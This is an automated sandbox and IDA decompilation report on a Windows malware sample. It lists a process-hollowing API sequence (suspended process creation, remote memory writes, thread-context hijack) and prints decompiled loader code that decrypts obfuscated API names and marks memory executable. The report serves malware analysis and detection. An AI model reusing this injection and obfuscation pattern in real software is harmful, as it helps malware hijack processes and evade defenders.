Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: CharacterClassConsoleFileOutputPrioritySizeWrite
String ID: 0$>$Dd7\fZ\QcW\isu$K6W$ZcWMD0h\oqbr2c6\P5$k1O3fAZUMTw\tQaeh\aV6dRwqN\gAo$m
API String ID: 4126083347-1512571215
Opcode ID: f321bd2e5f96311ac6bcfc97758691d8b4dc3bb2d90f8c87ed1cbc8bf28bd5fe
Instruction ID: 497df922c292faddb31b09e943c9c9feaef4837f701c117b7a1a2ed227868b93
Opcode Fuzzy Hash: f321bd2e5f96311ac6bcfc97758691d8b4dc3bb2d90f8c87ed1cbc8bf28bd5fe
Instruction Fuzzy Hash: AC33F434A056688FCB25CF69C990BEDBBB2BF4A301F1481DAD489A7395D7346E80CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0041B189 Relevance: 23.2, APIs: 12, Strings: 1, Instructions: 467
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 0041B46A
GetThreadContext.KERNELBASE(?,00010007), ref: 0041B47F
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0041B4A0
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0041B4D2
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 0041B4F2
WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000000), ref: 0041B625
VirtualProtectEx.KERNELBASE(?,?,?,00000002,?), ref: 0041B642
VirtualProtectEx.KERNELBASE(?,?,?,00000001,?), ref: 0041B6AC
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0041B6CE
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0041B6E9
SetThreadContext.KERNELBASE(?,00010007), ref: 0041B706
ResumeThread.KERNELBASE(?), ref: 0041B713

Strings

D, xrefs: 0041B3C2

Memory Dump Source

Source File: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: Virtual$Process$MemoryThread$AllocContextProtectWrite$CreateFreeReadResume
String ID: D
API String ID: 12256240-2746444292
Opcode ID: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction ID: f366c55a1b4d0d674bedc16c77e52ae0afadc92a8431f0e658c8350608c560d2
Opcode Fuzzy Hash: 0f12e257533f2bba003e1d6bb2e033b7a2472d2d85e254e8470fd1158bdd1a21
Instruction Fuzzy Hash: 99121771E00219ABDB21CFA4CD84BEEBBB5FF44704F1484AAE519E6290E7749A84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004018B0 Relevance: 29.1, APIs: 3, Strings: 13, Instructions: 1123
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E004018B0(signed int __eax, void* _a4, long _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				struct HINSTANCE__* _v52;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				signed char _v112;
				signed int _v113;
				signed char _v120;
				signed int _v121;
				signed char _t645;
				void* _t734;

				_t645 = __eax;
				_v108 =  *0x4176a8;
				_v108 =  *0x4176a4;
				_v108 =  *0x4176a0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((__eax & 0x00000044) == 0) {
					_v108 =  *0x41769c;
					_v108 =  *0x417698;
				}
				_v108 =  *0x417694;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v108 =  *0x417690;
					_v108 =  *0x41768c;
				}
				_v108 =  *0x417688;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v108 =  *0x417684;
					_v108 =  *0x417680;
				}
				_v108 =  *0x41767c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v108 =  *0x417678;
					_v108 =  *0x417674;
				}
				_v108 =  *0x417670;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v108 =  *0x41766c;
					_v108 =  *0x417668;
				}
				_v32 =  *0x417664;
				_v32 =  *0x417660;
				_v32 =  *0x41765c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x417658;
					_v32 =  *0x417654;
				}
				_v32 =  *0x417650;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x41764c;
					_v32 =  *0x417648;
				}
				_v32 =  *0x417644;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x417640;
					_v32 =  *0x41763c;
				}
				_v32 =  *0x417638;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x417634;
					_v32 =  *0x417630;
				}
				_v32 =  *0x41762c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v32 =  *0x417628;
					_v32 =  *0x417624;
				}
				_v44 =  *0x417620;
				_v44 =  *0x41761c;
				_v44 =  *0x417618;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x417614;
					_v44 =  *0x417610;
				}
				_v44 =  *0x41760c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x417608;
					_v44 =  *0x417604;
				}
				_v44 =  *0x417600;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x4175fc;
					_v44 =  *0x4175f8;
				}
				_v44 =  *0x4175f4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x4175f0;
					_v44 =  *0x4175ec;
				}
				_v44 =  *0x4175e8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v44 =  *0x4175e4;
					_v44 =  *0x4175e0;
				}
				_v40 =  *0x4175dc;
				_v40 =  *0x4175d8;
				_v40 =  *0x4175d4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x4175d0;
					_v40 =  *0x4175cc;
				}
				_v40 =  *0x4175c8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x4175c4;
					_v40 =  *0x4175c0;
				}
				_v40 =  *0x4175bc;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x4175b8;
					_v40 =  *0x4175b4;
				}
				_v40 =  *0x4175b0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x4175ac;
					_v40 =  *0x4175a8;
				}
				_v40 =  *0x4175a4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v40 =  *0x4175a0;
					_v40 =  *0x41759c;
				}
				_v104 =  *0x417598;
				_v104 =  *0x417594;
				_v104 =  *0x417590;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x41758c;
					_v104 =  *0x417588;
				}
				_v104 =  *0x417584;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x417580;
					_v104 =  *0x41757c;
				}
				_v104 =  *0x417578;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x417574;
					_v104 =  *0x417570;
				}
				_v104 =  *0x41756c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x417568;
					_v104 =  *0x417564;
				}
				_v104 =  *0x417560;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v104 =  *0x41755c;
					_v104 =  *0x417558;
				}
				_v96 =  *0x417554;
				_v96 =  *0x417550;
				_v96 =  *0x41754c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x417548;
					_v96 =  *0x417544;
				}
				_v96 =  *0x417540;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x41753c;
					_v96 =  *0x417538;
				}
				_v96 =  *0x417534;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x417530;
					_v96 =  *0x41752c;
				}
				_v96 =  *0x417528;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x417524;
					_v96 =  *0x417520;
				}
				_v96 =  *0x41751c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v96 =  *0x417518;
					_v96 =  *0x417514;
				}
				_v28 =  *0x417510;
				_v28 =  *0x41750c;
				_v28 =  *0x417508;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x417504;
					_v28 =  *0x417500;
				}
				_v28 =  *0x4174fc;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x4174f8;
					_v28 =  *0x4174f4;
				}
				_v28 =  *0x4174f0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x4174ec;
					_v28 =  *0x4174e8;
				}
				_v28 =  *0x4174e4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x4174e0;
					_v28 =  *0x4174dc;
				}
				_v28 =  *0x4174d8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v28 =  *0x4174d4;
					_v28 =  *0x4174d0;
				}
				_v20 =  *0x4174cc;
				_v20 =  *0x4174c8;
				_v20 =  *0x4174c4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x4174c0;
					_v20 =  *0x4174bc;
				}
				_v20 =  *0x4174b8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x4174b4;
					_v20 =  *0x4174b0;
				}
				_v20 =  *0x4174ac;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x4174a8;
					_v20 =  *0x4174a4;
				}
				_v20 =  *0x4174a0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x41749c;
					_v20 =  *0x417498;
				}
				_v20 =  *0x417494;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v20 =  *0x417490;
					_v20 =  *0x41748c;
				}
				_v68 = 0x2c;
				_v67 = 0x33;
				_v66 = 0x3f;
				_v65 = 0xbd;
				_v64 = 0xb0;
				_v63 = 0x35;
				_v62 = 0x32;
				_v61 = 0xad;
				_v60 = 0x3a;
				_v59 = 0x34;
				_v58 = 0x38;
				_v57 = 0x30;
				_v56 = 0xb1;
				_v55 = 0xbc;
				_v54 = 0;
				_v112 = 0;
				while(_v112 < 0xf) {
					_v113 =  *((intOrPtr*)(_t734 + _v112 - 0x40));
					_v113 = _v113 & 0x000000ff ^ 0x00000084;
					_v113 = (_v113 & 0x000000ff) >> 0x00000007 | (_v113 & 0x000000ff) << 0x00000001;
					_v113 =  !(_v113 & 0x000000ff);
					_v113 = _v113 & 0x000000ff ^ 0x000000c7;
					_v113 =  ~(_v113 & 0x000000ff);
					_v113 = _v113 & 0x000000ff ^ _v112;
					_v113 = (_v113 & 0x000000ff) + _v112;
					_v113 = _v113 & 0x000000ff ^ _v112;
					_v113 =  !(_v113 & 0x000000ff);
					_v113 = _v113 & 0x000000ff ^ _v112;
					_v113 = (_v113 & 0x000000ff) + _v112;
					_v113 = _v113 & 0x000000ff ^ 0x000000c1;
					_v113 = (_v113 & 0x000000ff) - _v112;
					_v113 =  !(_v113 & 0x000000ff);
					_v113 = (_v113 & 0x000000ff) - _v112;
					 *((char*)(_t734 + _v112 - 0x40)) = _v113;
					_t645 = _v112 + 1;
					_v112 = _t645;
				}
				_v16 =  *0x417488;
				_v16 =  *0x417484;
				_v16 =  *0x417480;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v16 =  *0x41747c;
					_v16 =  *0x417478;
				}
				_v16 =  *0x417474;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v16 =  *0x417470;
					_v16 =  *0x41746c;
				}
				_v16 =  *0x417468;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v16 =  *0x417464;
					_v16 =  *0x417460;
				}
				_v16 =  *0x41745c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v16 =  *0x417458;
					_v16 =  *0x417454;
				}
				_v16 =  *0x417450;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v16 =  *0x41744c;
					_v16 =  *0x417448;
				}
				_v92 =  *0x417444;
				_v92 =  *0x417440;
				_v92 =  *0x41743c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v92 =  *0x417438;
					_v92 =  *0x417434;
				}
				_v92 =  *0x417430;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v92 =  *0x41742c;
					_v92 =  *0x417428;
				}
				_v92 =  *0x417424;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v92 =  *0x417420;
					_v92 =  *0x41741c;
				}
				_v92 =  *0x417418;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v92 =  *0x417414;
					_v92 =  *0x417410;
				}
				_v92 =  *0x41740c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v92 =  *0x417408;
					_v92 =  *0x417404;
				}
				_v12 =  *0x417400;
				_v12 =  *0x4173fc;
				_v12 =  *0x4173f8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x4173f4;
					_v12 =  *0x4173f0;
				}
				_v12 =  *0x4173ec;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x4173e8;
					_v12 =  *0x4173e4;
				}
				_v12 =  *0x4173e0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x4173dc;
					_v12 =  *0x4173d8;
				}
				_v12 =  *0x4173d4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x4173d0;
					_v12 =  *0x4173cc;
				}
				_v12 =  *0x4173c8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v12 =  *0x4173c4;
					_v12 =  *0x4173c0;
				}
				_v36 =  *0x4173bc;
				_v36 =  *0x4173b8;
				_v36 =  *0x4173b4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x4173b0;
					_v36 =  *0x4173ac;
				}
				_v36 =  *0x4173a8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x4173a4;
					_v36 =  *0x4173a0;
				}
				_v36 =  *0x41739c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x417398;
					_v36 =  *0x417394;
				}
				_v36 =  *0x417390;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x41738c;
					_v36 =  *0x417388;
				}
				_v36 =  *0x417384;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v36 =  *0x417380;
					_v36 =  *0x41737c;
				}
				_v88 =  *0x417378;
				_v88 =  *0x417374;
				_v88 =  *0x417370;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v88 =  *0x41736c;
					_v88 =  *0x417368;
				}
				_v88 =  *0x417364;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v88 =  *0x417360;
					_v88 =  *0x41735c;
				}
				_v88 =  *0x417358;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v88 =  *0x417354;
					_v88 =  *0x417350;
				}
				_v88 =  *0x41734c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v88 =  *0x417348;
					_v88 =  *0x417344;
				}
				_v88 =  *0x417340;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v88 =  *0x41733c;
					_v88 =  *0x417338;
				}
				_v100 =  *0x417334;
				_v100 =  *0x417330;
				_v100 =  *0x41732c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x417328;
					_v100 =  *0x417324;
				}
				_v100 =  *0x417320;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x41731c;
					_v100 =  *0x417318;
				}
				_v100 =  *0x417314;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x417310;
					_v100 =  *0x41730c;
				}
				_v100 =  *0x417308;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x417304;
					_v100 =  *0x417300;
				}
				_v100 =  *0x4172fc;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v100 =  *0x4172f8;
					_v100 =  *0x4172f4;
				}
				_v48 =  *0x4172f0;
				_v48 =  *0x4172ec;
				_v48 =  *0x4172e8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x4172e4;
					_v48 =  *0x4172e0;
				}
				_v48 =  *0x4172dc;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x4172d8;
					_v48 =  *0x4172d4;
				}
				_v48 =  *0x4172d0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x4172cc;
					_v48 =  *0x4172c8;
				}
				_v48 =  *0x4172c4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x4172c0;
					_v48 =  *0x4172bc;
				}
				_v48 =  *0x4172b8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v48 =  *0x4172b4;
					_v48 =  *0x4172b0;
				}
				_v8 =  *0x4172ac;
				_v8 =  *0x4172a8;
				_v8 =  *0x4172a4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x4172a0;
					_v8 =  *0x41729c;
				}
				_v8 =  *0x417298;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x417294;
					_v8 =  *0x417290;
				}
				_v8 =  *0x41728c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x417288;
					_v8 =  *0x417284;
				}
				_v8 =  *0x417280;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x41727c;
					_v8 =  *0x417278;
				}
				_v8 =  *0x417274;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t645 & 0x00000044) == 0) {
					_v8 =  *0x417270;
					_v8 =  *0x41726c;
				}
				_v84 = 0x3d;
				_v83 = 0x2b;
				_v82 = 0xdd;
				_v81 = 0xc3;
				_v80 = 0x2d;
				_v79 = 0xcf;
				_v78 = 0xea;
				_v77 = 0xec;
				_v76 = 0xda;
				_v75 = 0x27;
				_v74 = 0xc5;
				_v73 = 0xdb;
				_v72 = 0xaa;
				_v120 = 0;
				while(_v120 < 0xd) {
					_v121 =  *((intOrPtr*)(_t734 + _v120 - 0x50));
					_v121 =  ~(_v121 & 0x000000ff);
					_v121 =  !(_v121 & 0x000000ff);
					_v121 = _v121 & 0x000000ff ^ 0x0000004b;
					_v121 =  ~(_v121 & 0x000000ff);
					_v121 =  !(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) + _v120;
					_v121 =  !(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) - 0x2d;
					_v121 =  ~(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) + _v120;
					_v121 =  !(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) - 5;
					_v121 = (_v121 & 0x000000ff) >> 0x00000002 | (_v121 & 0x000000ff) << 0x00000006;
					_v121 = (_v121 & 0x000000ff) + _v120;
					_v121 =  ~(_v121 & 0x000000ff);
					 *((char*)(_t734 + _v120 - 0x50)) = _v121;
					_v120 = _v120 + 1;
				}
				_v52 = GetModuleHandleA( &_v84);
				_v24 = 0;
				 *0x43e218 = GetProcAddress(_v52,  &_v68);
				VirtualProtect(_a4, _a8, 0x40,  &_v24); // executed
				return 0;
			}

0x004018b0
0x004018bc
0x004018c5
0x004018ce
0x004018d4
0x004018da
0x004018df
0x004018e7
0x004018f0
0x004018f0
0x004018f9
0x004018ff
0x00401905
0x0040190a
0x00401912
0x0040191b
0x0040191b
0x00401924
0x0040192a
0x00401930
0x00401935
0x0040193d
0x00401946
0x00401946
0x0040194f
0x00401955
0x0040195b
0x00401960
0x00401968
0x00401971
0x00401971
0x0040197a
0x00401980
0x00401986
0x0040198b
0x00401993
0x0040199c
0x0040199c
0x004019a5
0x004019ae
0x004019b7
0x004019bd
0x004019c3
0x004019c8
0x004019d0
0x004019d9
0x004019d9
0x004019e2
0x004019e8
0x004019ee
0x004019f3
0x004019fb
0x00401a04
0x00401a04
0x00401a0d
0x00401a13
0x00401a19
0x00401a1e
0x00401a26
0x00401a2f
0x00401a2f
0x00401a38
0x00401a3e
0x00401a44
0x00401a49
0x00401a51
0x00401a5a
0x00401a5a
0x00401a63
0x00401a69
0x00401a6f
0x00401a74
0x00401a7c
0x00401a85
0x00401a85
0x00401a8e
0x00401a97
0x00401aa0
0x00401aa6
0x00401aac
0x00401ab1
0x00401ab9
0x00401ac2
0x00401ac2
0x00401acb
0x00401ad1
0x00401ad7
0x00401adc
0x00401ae4
0x00401aed
0x00401aed
0x00401af6
0x00401afc
0x00401b02
0x00401b07
0x00401b0f
0x00401b18
0x00401b18
0x00401b21
0x00401b27
0x00401b2d
0x00401b32
0x00401b3a
0x00401b43
0x00401b43
0x00401b4c
0x00401b52
0x00401b58
0x00401b5d
0x00401b65
0x00401b6e
0x00401b6e
0x00401b77
0x00401b80
0x00401b89
0x00401b8f
0x00401b95
0x00401b9a
0x00401ba2
0x00401bab
0x00401bab
0x00401bb4
0x00401bba
0x00401bc0
0x00401bc5
0x00401bcd
0x00401bd6
0x00401bd6
0x00401bdf
0x00401be5
0x00401beb
0x00401bf0
0x00401bf8
0x00401c01
0x00401c01
0x00401c0a
0x00401c10
0x00401c16
0x00401c1b
0x00401c23
0x00401c2c
0x00401c2c
0x00401c35
0x00401c3b
0x00401c41
0x00401c46
0x00401c4e
0x00401c57
0x00401c57
0x00401c60
0x00401c69
0x00401c72
0x00401c78
0x00401c7e
0x00401c83
0x00401c8b
0x00401c94
0x00401c94
0x00401c9d
0x00401ca3
0x00401ca9
0x00401cae
0x00401cb6
0x00401cbf
0x00401cbf
0x00401cc8
0x00401cce
0x00401cd4
0x00401cd9
0x00401ce1
0x00401cea
0x00401cea
0x00401cf3
0x00401cf9
0x00401cff
0x00401d04
0x00401d0c
0x00401d15
0x00401d15
0x00401d1e
0x00401d24
0x00401d2a
0x00401d2f
0x00401d37
0x00401d40
0x00401d40
0x00401d49
0x00401d52
0x00401d5b
0x00401d61
0x00401d67
0x00401d6c
0x00401d74
0x00401d7d
0x00401d7d
0x00401d86
0x00401d8c
0x00401d92
0x00401d97
0x00401d9f
0x00401da8
0x00401da8
0x00401db1
0x00401db7
0x00401dbd
0x00401dc2
0x00401dca
0x00401dd3
0x00401dd3
0x00401ddc
0x00401de2
0x00401de8
0x00401ded
0x00401df5
0x00401dfe
0x00401dfe
0x00401e07
0x00401e0d
0x00401e13
0x00401e18
0x00401e20
0x00401e29
0x00401e29
0x00401e32
0x00401e3b
0x00401e44
0x00401e4a
0x00401e50
0x00401e55
0x00401e5d
0x00401e66
0x00401e66
0x00401e6f
0x00401e75
0x00401e7b
0x00401e80
0x00401e88
0x00401e91
0x00401e91
0x00401e9a
0x00401ea0
0x00401ea6
0x00401eab
0x00401eb3
0x00401ebc
0x00401ebc
0x00401ec5
0x00401ecb
0x00401ed1
0x00401ed6
0x00401ede
0x00401ee7
0x00401ee7
0x00401ef0
0x00401ef6
0x00401efc
0x00401f01
0x00401f09
0x00401f12
0x00401f12
0x00401f1b
0x00401f24
0x00401f2d
0x00401f33
0x00401f39
0x00401f3e
0x00401f46
0x00401f4f
0x00401f4f
0x00401f58
0x00401f5e
0x00401f64
0x00401f69
0x00401f71
0x00401f7a
0x00401f7a
0x00401f83
0x00401f89
0x00401f8f
0x00401f94
0x00401f9c
0x00401fa5
0x00401fa5
0x00401fae
0x00401fb4
0x00401fba
0x00401fbf
0x00401fc7
0x00401fd0
0x00401fd0
0x00401fd9
0x00401fdf
0x00401fe5
0x00401fea
0x00401ff2
0x00401ffb
0x00401ffb
0x00401ffe
0x00402002
0x00402006
0x0040200a
0x0040200e
0x00402012
0x00402016
0x0040201a
0x0040201e
0x00402022
0x00402026
0x0040202a
0x0040202e
0x00402032
0x00402036
0x0040203a
0x0040204c
0x0040205d
0x00402069
0x0040207b
0x00402084
0x00402091
0x0040209a
0x004020a4
0x004020ae
0x004020b8
0x004020c1
0x004020cb
0x004020d5
0x004020e1
0x004020eb
0x004020f4
0x004020fe
0x00402107
0x00402046
0x00402049
0x00402049
0x00402116
0x0040211f
0x00402128
0x0040212e
0x00402134
0x00402139
0x00402141
0x0040214a
0x0040214a
0x00402153
0x00402159
0x0040215f
0x00402164
0x0040216c
0x00402175
0x00402175
0x0040217e
0x00402184
0x0040218a
0x0040218f
0x00402197
0x004021a0
0x004021a0
0x004021a9
0x004021af
0x004021b5
0x004021ba
0x004021c2
0x004021cb
0x004021cb
0x004021d4
0x004021da
0x004021e0
0x004021e5
0x004021ed
0x004021f6
0x004021f6
0x004021ff
0x00402208
0x00402211
0x00402217
0x0040221d
0x00402222
0x0040222a
0x00402233
0x00402233
0x0040223c
0x00402242
0x00402248
